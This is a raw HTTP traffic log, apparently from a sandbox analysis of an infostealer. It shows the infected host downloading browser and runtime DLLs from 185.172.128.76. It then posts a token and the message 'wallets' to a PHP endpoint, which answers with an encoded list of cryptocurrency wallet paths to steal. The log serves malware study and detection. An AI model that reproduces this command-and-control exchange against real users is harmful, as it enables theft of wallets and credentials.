Apr 23, 2024 09:33:01.396827936 CEST	93	OUT	GET /15f649199f40275b/mozglue.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 23, 2024 09:33:01.708271980 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:01 GMT Content-Type: application/x-msdos-program Content-Length: 608080 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Apr 23, 2024 09:33:02.162940025 CEST	94	OUT	GET /15f649199f40275b/msvcp140.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 23, 2024 09:33:02.472575903 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:02 GMT Content-Type: application/x-msdos-program Content-Length: 450024 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Apr 23, 2024 09:33:02.829329967 CEST	90	OUT	GET /15f649199f40275b/nss3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 23, 2024 09:33:03.137355089 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:03 GMT Content-Type: application/x-msdos-program Content-Length: 2046288 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Apr 23, 2024 09:33:04.207086086 CEST	94	OUT	GET /15f649199f40275b/softokn3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 23, 2024 09:33:04.518990040 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:04 GMT Content-Type: application/x-msdos-program Content-Length: 257872 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Apr 23, 2024 09:33:04.773627996 CEST	98	OUT	GET /15f649199f40275b/vcruntime140.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 23, 2024 09:33:05.081775904 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:04 GMT Content-Type: application/x-msdos-program Content-Length: 80880 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Apr 23, 2024 09:33:05.780267954 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEHCFIDHIDGIDHJEHID Host: 185.172.128.76 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:06.113249063 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:06.150949955 CEST	468	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDH Host: 185.172.128.76 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 34 35 62 30 31 39 66 30 61 64 33 33 38 30 33 35 34 31 65 35 33 35 32 66 34 39 62 64 32 63 36 62 34 62 63 33 66 35 32 65 32 36 37 37 33 66 31 36 39 38 37 64 63 61 39 64 36 35 30 61 61 33 36 61 61 30 64 30 65 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 2d 2d 0d 0a Data Ascii: ------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="token"18e45b019f0ad33803541e5352f49bd2c6b4bc3f52e26773f16987dca9d650aa36aa0d0e------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="message"wallets------IIIECAAKECFHIECBKJDH--
Apr 23, 2024 09:33:06.462744951 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2408 Connection: keep-alive Vary: Accept-Encoding Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 58 45 64 79 5a 57 56 75 58 48 64 68 62 47 78 6c 64 48 4e 63 66 43 6f 75 4b 6e 77 78 66 46 64 68 63 32 46 69 61 53 42 58 59 57 78 73 5a 58 52 38 4d 58 78 63 56 32 46 73 62 47 56 30 56 32 46 7a 59 57 4a 70 58 45 4e 73 61 57 56 75 64 46 78 58 59 57 78 73 5a 58 52 7a 58 48 77 71 4c 6d 70 7a 62 32 35 38 4d 48 78 46 64 47 68 6c 63 6d 56 31 62 58 77 78 66 46 78 46 64 47 68 6c 63 6d 56 31 62 56 78 38 61 32 56 35 63 33 52 76 63 6d 56 38 4d 48 78 46 62 47 56 6a 64 48 4a 31 62 58 77 78 66 46 78 46 62 47 56 6a 64 48 4a 31 62 56 78 33 59 57 78 73 5a 58 52 7a 58 48 77 71 4c 69 70 38 4d 48 78 46 62 47 56 6a 64 48 4a 31 62 55 78 55 51 33 77 78 66 46 78 46 62 47 56 6a 64 48 4a 31 62 53 31 4d 56 45 